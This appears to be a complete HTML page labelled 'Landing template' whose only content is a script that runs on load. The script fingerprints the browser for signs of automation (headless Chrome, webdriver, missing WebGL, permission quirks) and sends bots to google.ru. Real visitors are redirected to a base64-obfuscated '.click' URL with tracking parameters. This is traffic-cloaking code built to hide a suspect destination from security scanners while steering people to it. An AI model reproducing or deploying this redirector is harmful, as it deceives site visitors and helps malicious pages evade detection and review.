<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Landing template</title>
</head>
<body>
<script>
const home = "aHR0cHM6Ly96bGF5Lm5vcm5hbS5jbGljay9naXJsLTEtdGVtcGxhdGU/dGFnX2lkPTI2MjQ4NyZjbD0xMCZjbGljaz0xJmY9MSZyPTEmdmVyPQ==";
(() => {
async function detectSimpleHeadlessBrowser() {
if (/HeadlessChrome/.test(navigator.userAgent) || navigator.webdriver) return true;
const permissionStatus = await navigator.permissions.query({
name: 'notifications',
});
if (Notification.permission === 'denied' && permissionStatus.state === 'prompt') return true;
if (!navigator.languages || navigator.languages.length === 0) return true;
const canvas = document.createElement('canvas');
const gl = canvas.getContext('webgl');
if (!gl) return true;
return false;
}
detectSimpleHeadlessBrowser()
.then((isHeadless) => {
if (isHeadless) {
window.location.href = 'https://google.ru';
} else {
window.location.href = atob(home);
}
});
})();
</script>
</body>
</html>